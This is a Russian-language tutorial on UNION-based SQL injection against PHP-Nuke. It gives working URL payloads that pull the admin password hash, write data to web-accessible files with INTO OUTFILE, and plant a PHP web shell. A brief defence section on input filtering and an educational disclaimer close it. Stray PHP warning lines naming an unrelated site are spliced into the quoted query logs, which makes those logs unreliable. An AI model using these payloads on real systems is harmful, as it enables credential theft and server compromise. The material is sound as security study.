Использование команды UNION.

Итак команда union используется для обьединения вывода двух или более запросов select.

Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны быть совместимы для объединения. Это означает, что каждый запрос должен указывать одинаковое количество столбцов и в том же порядке и каждый должен иметь тип, совместимый с каждым.
Также данная возможность появилать только в mysql версии 4.0 т.е. на более ранних версиях БД работать не будет.

Вид команды таков:

select a1, a2, a3 from table1 union select b1, b2, b3 from table2;

Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.

Например:

select text11, text12, int11 from t1 union select text21, text22, int22 from t2;

Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном примере. Помучить предлагаю php-nuke версии 7.0 final. Советую скачать и поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql с ведением логов и приступаем.

================================================
---/// sql injection на примере php-nuke
================================================

Итак разбираться будем с модулем news

http://127.0.0.1/nuke7/modules.php?name=news&new_topic=1

Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку к значению new_topic, соответственно теперь запрос становится таким:

http://127.0.0.1/nuke7/modules.php?name=ne...ew_topic=1'

Отдаем в браузере запрос и смотрим логи mysql:
...
10 query select topictext from nuke_topics where topicid='1''
^!!!

10 query select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings from nuke_stories where topic='1'' order by sid desc limit 10
^!!!
...

Вот тут наша ковычка себя и проявила =)
Видите: where topicid='1''

Рассмотрим первый запрос:

select topictext from nuke_topics where topicid='1''
Выборка topictext из таблицы nuke_topics где topicid=1'
Теперь посмотрим тип topictext:

+-------------------------+
| topictext | varchar(40) |
+-------------------------+

Отлично теперь попробуем использовать команду union:
Отдаем в браузере запрос:

modules.php?name=news&new_topic=999' union select pwd from nuke_authors/*

Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.
Опять смотрим логи mysql:

> 14 query select topictext from nuke_topics where topicid='999' union select pwd from nuke_authors
Warning:  Unterminated comment starting line 1 in /home/internet/data/www/internet-technologies.ru/engine/admin_panel/functions/main.php on line 217

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
вот он наш запрос

Вот оно. Мы делаем выборку из nuke_topics где topicid='999' и данный запрос естественно ничего не возвращает т.к. такого топика у нас нет и делаем выборку pwd из таблицы nuke_authors и данный запрос возвращает хеш пароля первого пользователя который и подставляется в название раздела. Заметьте что если мы укажем существующий номер топика то результата мы не получим т.к. будет подставлено название этого топика а не хеш. Поэтому мы и используем номер 999. Вот первая уязвимость =)

Давайте рассмотрим второй запрос: ( запрос разбит на несколько строк для удобства )

select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
from nuke_stories
where topic='1'' <-- Вот тут мы можем вставить свой sql-код
order by sid desc limit 10

Посмотрим какие типы данных у нас в таблице nuke_stories:

+-----------+--------------+
| sid | int(11) |
+-----------+--------------+
| catid | int(11) |
+-----------+--------------+
| aid | varchar(30) |
+-----------+--------------+
| title | varchar(80) |
+-----------+--------------+
| time | datetime |
+-----------+--------------+
| hometext | text |
+-----------+--------------+
| bodytext | text |
+-----------+--------------+
| comments | int(11) |
+-----------+--------------+
| counter | mediumint(8) |
+-----------+--------------+
| topic | int(3) |
+-----------+--------------+
| informant | varchar(20) |
+-----------+--------------+
| notes | text |
+-----------+--------------+
| acomm | int(1) |
+-----------+--------------+
| score | int(10) |
+-----------+--------------+
| ratings | int(10) |
+-----------+--------------+

Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос с union таким образом чтобы типы из таблицы nuke_stories совпадали с типами из nuke_authors и запрос примет вид:

modules.php?name=news&new_topic=999' union select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter from nuke_authors /*

Отдаем запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже не обязательно указывать несуществующий топик т.к. все работает и с топиком существующим в базе.

Если посмотреть логи БД то можно увидеть что был отдан вот такой запрос к базе данных: (запрос разбит на 4 блока для большего удобства)

> select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
from nuke_stories
where topic='1'

union

select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
from nuke_authors

Warning:  Unterminated comment starting line 10 in /home/internet/data/www/internet-technologies.ru/engine/admin_panel/functions/main.php on line 217

Как вы можете видеть в обоих запросах количество и типы столбцев совпадают.
Запрос специально разбит на 4 блока:
1 блок - это первый запрос select выбирающий из таблицы nuke_stories
2 блок - команда обьединения запросов union
3 блок - второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors
4 блок - все что идет после "/*" будет рассматриваться как комментарий

================================================
---/// Вывод данных в файл
================================================

К слову сказать, в инете полно практически одинаковых статей про sql-injection и все они рассказывают про атаки данного типа при использовании ms sql в качестве сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие возможности для взлома всего сервера за счет возможностей разделения запросов в строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в котором все не так просто, но это совсем не плохо, это хорошо т.к. с mysql возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех статьях описывается взлом при авторизации и авторизация там происходит примерно таким запросом:

select * from users where login='blabla' and password='blabla';

Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда унесло = Мы лучше рассмотрим авторизацию в php-nuke 6.9. в котором процесс авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки! Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через форму авторизации. Для этого и пришлось использовать более раннюю версию. Как пример.
Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в качестве логина admin' (не забудьте про кавычку) и 123 в кач-ве пароля. Хммм... Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:

1 query select pwd, admlanguage from nuke_authors where aid='admin''

^ - вот она наша родная кавычка =)

Стоп! Вы уже побежали вставлять union и select? Рано. Дело в том что в данном модуле не происходит никакого вывода полученных данных из БД. Естественно раз нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в mysql есть замечательная опция сохранения выбранных из таблицы данных в файл. Производится данный финт ушами следующим образом:

select * from table into outfile 'путь_к_файлу/файл';

Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести длинный логин поэтому придется передавать данные через строку браузера:

http://127.0.0.1/phpnuke69/admin.php?op=lo...&aid=admin' into outfile 'pwd.txt

После запроса данной строки в БД исполняется:

9 query select pwd, admlanguage from nuke_authors where aid='admin' into outfile 'pwd.txt'

И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся проблемма в том что файл создается не в корне www-сервера а в каталоге базы данных. Для создания файла в каталоге доступном через web необходимо указывать полный путь:

/phpnuke/admin.php?op=login&pwd=123&aid=admin' into outfile '././././www/www1/phpnuke69/pwd.txt

И теперь уже:

http://127.0.0.1/phpnuke69/pwd.txt

Выдаст нам хеш админа.
Конечно необходимо учитывать права доступа и не факт что вы сможете записать файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать нужный запрос и создать файл.

================================================
---/// Получение http-шелла
================================================

Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то большего =) Их есть у меня =)
Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе маленький такой http-шелл посредством создания php файла с незатейливым и наверно всем знакомым содержанием:

Итак воспользовавшись одним из описанных выше методов вам удалось все-таки получить хеш пароля админа и вы благополучно залогинились как админ движка, расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом вставить php-код в одно из значений в базе данных а потом вывести его в файл. Вот способ которым воспользовался я:

Логинимся под админом. В меню администрирования входим в раздел topics. Создаем новый топик.
В поле topic name пишем passthru
в поле topic text пишем:

Теперь вспомним уязвимость описанную выше в этой статье, а именно:

modules.php?name=news&new_topic=999' union select pwd from nuke_authors/*
select topictext from nuke_topics where topicid='999' union select pwd from nuke_authors/*'

Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"

http://127.0.0.1/phpnuke/modules.php?name=...ew_topic=2' into outfile 'shell.php' /*

где 2 - номер нового топика , shell.php - файл который будет создан

Не забудьте прописать путь к файлу.
После выполнения данного запроса будет создан файл shell.php содержащий нужный
нам пхп-код.

================================================
---/// Методы защиты
================================================

Если вы все-таки прочитали статью то наверно уже поняли что единственно верной защитой является фильтрация всех данных принимаемых от пользователя. Наилучшим решением будет разрешить использование лишь букв и цифр. В случае если принимаемое значение должно быть цифрой, проверяейте его перед помещением в sql запрос.
Не стоит надеятся на фильтрацию лишь одной кавычки т.к. во-первых атакующий может использовать другие символы для если не внедрения кода то хотя бы для получения дополнительной информации (например о пути к сайту) из сообщений о ошибках. И во-вторых если скрипт отфильтровывает какой-либо символ, то его можно заменить конструкцией +char(0xКОД_СИМВОЛА)+.
Также обращу внимание что фильтровать надо все данные пришедшие от пользователя в запросах, в куках, в общем вообще все!

================================================
---/// Заключение
================================================

Ну вот и все. Я постарался рассмотреть наиболее информативные примеры атак типа sql-injection. Надеюсь теперь вы сможете избежать ошибок при кодинге скриптов работающих с базами данных. Удачи.
p.s. Вся информация в данной статье служит исключительно в образовательных целях. Эта статья всего лишь попытка помочь авторам скриптов и указать на возможные ошибки при работе с базами данных.Так сказать, врага нужно знать в лицо!